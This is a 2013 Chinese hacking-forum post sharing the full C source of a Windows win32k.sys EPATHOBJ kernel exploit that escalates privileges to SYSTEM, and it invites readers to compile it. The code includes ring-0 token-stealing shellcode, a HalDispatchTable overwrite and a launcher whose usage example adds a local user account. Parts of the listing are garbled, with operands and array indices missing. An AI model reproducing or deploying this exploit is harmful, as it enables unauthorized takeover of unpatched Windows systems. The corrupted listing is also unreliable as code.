admin 发表于 2013-6-7 19:39:31

.EPATHOBJ 0day exploit最新提权工具

发表于 3 天前 |只看该作者 |倒序浏览 各位机友自己去编译吧
) E/ c( I3 J* m1 O* J# c# Q9 ]
原帖内容如下:www.t00ls.net: R& ^0 M3 k( A0 ^9 D
Tavis Ormandy 在做压力测试的时候发现的这个漏洞. - 专注网络安全4 q: B7 R2 U' s( v: c
5 I! K3 F2 h: q
see:
http://blog.cmpxchg8b.com/
http://seclists.org/fulldisclosure/2013/May/118
01.#include <stdio.h>

02.#include <STDARG.H>

03.#include <stddef.h>

04.#include <windows.h>

05.//#include <ntstatus.h>

06.

07.#pragma comment(lib, "gdi32")

08.#pragma comment(lib, "kernel32")

09.#pragma comment(lib, "user32")

10.

11.#define MAX_POLYPOINTS (8192 * 3)

12.#define MAX_REGIONS 8192

13.#define CYCLE_TIMEOUT 10000

14.

15.#pragma comment(linker, "/SECTION:.text,ERW")

16.

17.//

18.// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.

19.//

20.// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013

21.//

22.

23.POINT       Points;

24.BYTE      PointTypes;

25.HRGN      Regions;

26.ULONG       NumRegion = 0;

27.HANDLE      Mutex;

28.

29.// Log levels.

30.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

31.

32.VOID LogInit();

33.VOID LogRelase();

34.BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

35.

36.// Copied from winddi.h from the DDK

37.#define PD_BEGINSUBPATH   0x00000001

38.#define PD_ENDSUBPATH   0x00000002

39.#define PD_RESETSTYLE   0x00000004

40.#define PD_CLOSEFIGURE    0x00000008

41.#define PD_BEZIERS      0x00000010

42.

43.#define ENABLE_SWITCH_DESKTOP1

44.

45.typedef struct_POINTFIX

46.{

47.    ULONG x;

48.    ULONG y;

49.} POINTFIX, *PPOINTFIX;

50.

51.// Approximated from reverse engineering.

52.typedef struct _PATHRECORD {

53.    struct _PATHRECORD *next;

54.    struct _PATHRECORD *prev;

55.    ULONG               flags;

56.    ULONG               count;

57.    POINTFIX            points;

58.} PATHRECORD, *PPATHRECORD;

59.

60.PPATHRECORD PathRecord;

61.PATHRECORDExploitRecord = {0};

62.PPATHRECORD ExploitRecordExit;

63.

64.typedef struct _RTL_PROCESS_MODULE_INFORMATION {

65.    HANDLE Section;               // Not filled in

66.    PVOID MappedBase;

67.    PVOID ImageBase;

68.    ULONG ImageSize;

69.    ULONG Flags;

70.    USHORT LoadOrderIndex;

71.    USHORT InitOrderIndex;

72.    USHORT LoadCount;

73.    USHORT OffsetToFileName;

74.    UCHARFullPathName[ 256 ];

75.} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

76.

77.typedef struct _RTL_PROCESS_MODULES {

78.    ULONG NumberOfModules;

79.    RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];

80.} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

81.

82.typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );

83.typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );

84.typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );

85.typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);

86.

87.NtQueryIntervalProfile_NtQueryIntervalProfile;

88.NtAllocateVirtualMemory_ NtAllocateVirtualMemory;

89.NtQuerySystemInformation_ NtQuerySystemInformation;

90.NtFreeVirtualMemory_ NtFreeVirtualMemory;

91.ULONG    PsInitialSystemProcess, PsReferencePrimaryToken,

92.   PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;

93.

94.void _declspec(naked) ShellCode()

95.{

96.    __asm

97.    {

98.      pushad

99.      pushfd

100.      mov esi,PsReferencePrimaryToken

101.FindTokenOffset:

102.      lodsb

103.      cmp al, 8Dh;

104.      jnz FindTokenOffset

105.      mov edi,

106.      mov esi,PsInitialSystemProcess

107.      mov esi,

108.      push fs:

109.      mov eax,PsGetThreadProcess

110.      call eax

111.      add esi, edi

112.      push esi

113.      add edi, eax

114.      movsd

115.      

116.      ;add token ref count.

117.      pop esi

118.      mov esi,

119.      and esi, 0xFFFFFFF8

120.      lea eax,

121.      mov DWORD PTR , 0x016B00B5

122.      ;fix the haltable

123.      mov eax, WriteToHalDispatchTable

124.      mov ecx, FixAddress

125.      mov , 0xC3

126.      mov DWORD PTR , ecx

127.

128.      popfd

129.      popad

130.      ;set ret code for NtQueryIntervalProfile

131.      mov eax,

132.      mov DWORD PTR , 1

133.      mov DWORD PTR , 0xC0000018

134.      xor eax, eax

135.      ret

136.    }

137.}

138.

139.DWORD WINAPI WatchdogThread(LPVOID Parameter)

140.{

141.//

142.    // This routine waits for a mutex object to timeout, then patches the

143.    // compromised linked list to point to an exploit. We need to do this.

144.    //

145.

146.LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());

147.

148.    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {

149.   

150.    //

151.      // It looks like the main thread is stuck in a call to FlattenPath(),

152.      // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean

153.      // up, and then patch the list to trigger our exploit.

154.      //

155.

156.    while (NumRegion--)

157.            DeleteObject(Regions);

158.   

159.      LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);

160.   

161.      InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);

162.   

163.    } else {

164.      LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");

165.    }

166.

167.    return 0;

168.}

169.

170.void wellcome()

171.{

172.printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");

173.printf("*******************************************************************\n");

174.printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n");

175.printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n");

176.printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");

177.printf("*******************************************************************\n");

178.}

179.

180.void usage()

181.{

182.printf("\nusage:\n<app> <cmd> <parameter>\n");

183.printf("example:\napp.exe net \"user 111 111 /add\"");

184.}

185.

186.BOOL

187.FindAFixAddress(

188.ULONG NtoskrnlBase)

189.{

190.FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);

191.LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);

192.return TRUE;

193.

194.}

195.

196.// 0x602464FF; /*jmp esp+0x60*/

197.// 0x51C3686A; /*push 0; ret*/

198.DWORD CheckMagicDword()

199.{

200.OSVERSIONINFOEX OSVer;

201.DWORD dwMagic = 0;

202.

203.    OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

204.    if(GetVersionEx((OSVERSIONINFO *)&OSVer)){

205.    switch(OSVer.dwMajorVersion){

206.    case 5:

207.      dwMagic = 0x602464FF;

208.      break;

209.    case 6:

210.      dwMagic = 0x642464FF;

211.      break;

212.    default:

213.      dwMagic = 0;

214.    }

215.}

216.return dwMagic;

217.}

218.

219.

220.int main(int argc, char **argv)

221.{

222.    HANDLE      Thread;

223.    HDC         Device;

224.    ULONG       Size;

225.    ULONG       PointNum;

226.int nret = 0;

227.

228.DWORD MAGIC_DWORD = CheckMagicDword();

229.    ULONG AllocSize = 0x1000, status, NtoskrnlBase;

230.RTL_PROCESS_MODULESmodule;

231.HMODULE ntoskrnl = NULL;

232.DWORD dwFix;

233.ULONG Address = MAGIC_DWORD & 0xFFFFF000;

234.LONG ret;

235.BOOL bRet = FALSE;

236.#ifdef ENABLE_SWITCH_DESKTOP

237.HDESK hDesk;

238.#endif

239.    HMODULEntdll = GetModuleHandle( "ntdll.dll" );

240.

241.wellcome();

242.

243.if (argc < 2){

244.    usage();

245.    return -1;

246.}

247.

248.if (!MAGIC_DWORD){

249.    LogMessage(L_ERROR, "unsupported system version\n");

250.    return -1;

251.}

252.

253.LogInit();

254.

255.NtQueryIntervalProfile    =(NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );

256.    NtAllocateVirtualMemory    =(NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );

257.    NtQuerySystemInformation=(NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );

258.NtFreeVirtualMemory =(NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );

259.    if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||

260.   !NtQuerySystemInformation || !NtFreeVirtualMemory){

261.    LogMessage(L_ERROR, "get function address error\n");

262.    LogRelase();

263.    return -1;

264.}

265.

266.//

267.// try to allocate memory.

268.//

269.

270.while (TRUE){

271.    ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

272.    if(ret < 0){

273.      MEMORY_BASIC_INFORMATION meminfo;

274.      LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);

275.      LogMessage(L_INFO, "try to free memory");

276.      if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){

277.      LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);

278.      }

279.      ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);

280.      if (ret < 0){

281.      LogMessage(L_ERROR, "free memory error code 0x%08x", ret);

282.      LogRelase();

283.      return -1;

284.      }

285.    }else{

286.      break;

287.    }

288.}

289.

290.//

291.// get the kernel info

292.//

293.

294.    status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11

295.    if ( status != 0xC0000004 ){

296.    LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);

297.      LogRelase();

298.    return -1;

299.}

300.

301.    NtoskrnlBase   =(ULONG)module.Modules.ImageBase;

302.

303.    //

304.    // 把ntoskrnl.exe加载进来

305.    //

306.

307.    ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules.FullPathName + module.Modules.OffsetToFileName ) );

308.    if (ntoskrnl == NULL){

309.    LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());

310.      LogRelase();

311.    return -1;

312.}

313.   

314.    //

315.    // 计算实际地址

316.    //

317.

318.    WriteToHalDispatchTable =(ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;

319.    PsInitialSystemProcess =(ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

320.    PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;

321.    PsGetThreadProcess =(ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

322.

323.if(!FindAFixAddress(NtoskrnlBase)){

324.    LogMessage(L_ERROR, "Can not Find A Fix Address\n");

325.    nret = -1;

326.    goto __end;

327.}

328.

329.//

330.    // Create our PATHRECORD in user space we will get added to the EPATHOBJ

331.    // pathrecord chain.

332.    //

333.

334.PathRecord = (PPATHRECORD)VirtualAlloc(NULL,

335.                              sizeof(PATHRECORD),

336.                              MEM_COMMIT | MEM_RESERVE,

337.                              PAGE_EXECUTE_READWRITE);

338.

339.    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

340.

341.//

342.    // Initialize with recognizable debugging values.

343.    //

344.

345.FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

346.

347.    PathRecord->next    = PathRecord;

348.    PathRecord->prev    = (PPATHRECORD)(0x42424242);

349.

350.//

351.    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from

352.    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite

353.    // loop in EPATHOBJ::bFlatten().

354.    //

355.

356.PathRecord->flags   = 0;

357.

358.    LogMessage(L_INFO, "->next@ %p", PathRecord->next);

359.    LogMessage(L_INFO, "->prev@ %p", PathRecord->prev);

360.    LogMessage(L_INFO, "->flags @ %u", PathRecord->flags);

361.

362.ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;

363.ExploitRecordExit->next = NULL;

364.ExploitRecordExit->next = NULL;

365.ExploitRecordExit->flags = PD_BEGINSUBPATH;

366.ExploitRecordExit->count = 0;

367.

368.

369.ExploitRecord.next= (PPATHRECORD)MAGIC_DWORD;

370.    ExploitRecord.prev= (PPATHRECORD)WriteToHalDispatchTable;

371.    ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;

372.ExploitRecord.count = 4;

373.

374.    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);

375.

376.//

377.    // Generate a large number of Belier Curves made up of pointers to our

378.    // PATHRECORD object.

379.    //

380.

381.for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {

382.      Points.x      = (ULONG)(PathRecord) >> 4;

383.      Points.y      = (ULONG)(PathRecord) >> 4;

384.      PointTypes    = PT_BEZIERTO;

385.    }

386.

387.//

388.    // Switch to a dedicated desktop so we don't spam the visible desktop with

389.    // our Lines (Not required, just stops the screen from redrawing slowly).

390.    //

391.#ifdef ENABLE_SWITCH_DESKTOP

392.hDesk = CreateDesktop( "DontPanic",

393.            NULL,

394.            NULL,

395.            0,

396.            GENERIC_ALL,

397.               NULL);

398.if (hDesk){

399.    SetThreadDesktop(hDesk);

400.}

401.#endif

402.

403.while (TRUE){

404.

405.    BOOL bBreak = FALSE;

406.

407.    Mutex = CreateMutex(NULL, TRUE, NULL);

408.    if (!Mutex){

409.      LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

410.      nret = -1;

411.      goto __end;

412.    }

413.   

414.    //

415.    // Get a handle to this Desktop.

416.    //

417.

418.    Device = GetDC(NULL);

419.   

420.    //

421.    // Spawn a thread to cleanup

422.    //

423.

424.    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

425.   

426.    LogMessage(L_INFO, "start CreateRoundRectRgn");

427.   

428.    //

429.    // We need to cause a specific AllocObject() to fail to trigger the

430.    // exploitable condition. To do this, I create a large number of rounded

431.    // rectangular regions until they start failing. I don't think it matters

432.    // what you use to exhaust paged memory, there is probably a better way.

433.    //

434.    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on

435.    // failure. Seriously, do some damn QA Microsoft, wtf.

436.    //

437.

438.    for (Size = 1 << 26; Size; Size >>= 1) {

439.      while (TRUE){

440.      HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);

441.      if (!hm){

442.          break;

443.      }

444.      if (NumRegion < MAX_REGIONS){

445.          Regions = hm;

446.          NumRegion++;

447.      }else{

448.          NumRegion = 0;

449.      }

450.      }

451.    }

452.

453.    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

454.

455.    LogMessage(L_INFO, "Flattening curves...");

456.   

457.    //

458.    // Begin filling the free list with our points.

459.    //

460.   

461.    dwFix = *(PULONG)ShellCode;

462.

463.    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {

464.      BeginPath(Device);

465.      PolyDraw(Device, Points, PointTypes, PointNum);

466.      EndPath(Device);

467.      FlattenPath(Device);

468.      FlattenPath(Device);

469.      

470.      //

471.      // call the function to exploit.

472.      //

473.

474.      ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);

475.      

476.      //

477.      // we will set the status with 0xC0000018 in ring0 shellcode.

478.      //

479.

480.      if (*(PULONG)ShellCode == 0xC0000018){

481.      bRet = TRUE;

482.      break;

483.      }

484.      

485.      //

486.      // fix

487.      //

488.      

489.      *(PULONG)ShellCode = dwFix;

490.

491.      EndPath(Device);

492.    }

493.   

494.    if (bRet){

495.      LogMessage(L_INFO, "Exploit ok run command");

496.      ShellExecute( NULL, "open", argv, argc > 2 ? argv : NULL, NULL, SW_SHOW);

497.      bBreak = TRUE;

498.    }else{

499.      LogMessage(L_INFO, "No luck, cleaning up. and try again..");

500.    }

501.   

502.    //

503.    // If we reach here, we didn't trigger the condition. Let the other thread know.

504.    //

505.

506.    ReleaseMutex(Mutex);

507.   

508.    ReleaseDC(NULL, Device);

509.    WaitForSingleObject(Thread, INFINITE);

510.

511.    if (bBreak){

512.      break;

513.    }

514.

515.}

516.__end:

517.LogRelase();

518.if (ntoskrnl)

519.    FreeLibrary(ntoskrnl);

520.#ifdef ENABLE_SWITCH_DESKTOP

521.if (hDesk){

522.    CloseHandle(hDesk);

523.}

524.#endif

525.    return nret;

526.}

527.

528.CRITICAL_SECTION gCSection;

529.

530.VOID LogInit()

531.{

532.InitializeCriticalSection(&gCSection);

533.}

534.

535.VOID LogRelase()

536.{

537.DeleteCriticalSection(&gCSection);

538.}

539.

540.//

541.// A quick logging routine for debug messages.

542.//

543.

544.BOOL LogMessage(LEVEL Level, PCHAR Format, ...)

545.{

546.    CHAR Buffer = {0};

547.    va_list Args;

548.

549.EnterCriticalSection(&gCSection);

550.

551.    va_start(Args, Format);

552.    _snprintf(Buffer, sizeof(Buffer), Format, Args);

553.    va_end(Args);

554.

555.    switch (Level) {

556.      case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;

557.      case L_INFO:fprintf(stdout, "[+] %s\n", Buffer); break;

558.      case L_WARN:fprintf(stderr, "[*] %s\n", Buffer); break;

559.      case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;

560.    }

561.

562.    fflush(stdout);

563.    fflush(stderr);

564.

565.LeaveCriticalSection(&gCSection);

566.

567.    return TRUE;

568.}

页: [1]
查看完整版本: .EPATHOBJ 0day exploit最新提权工具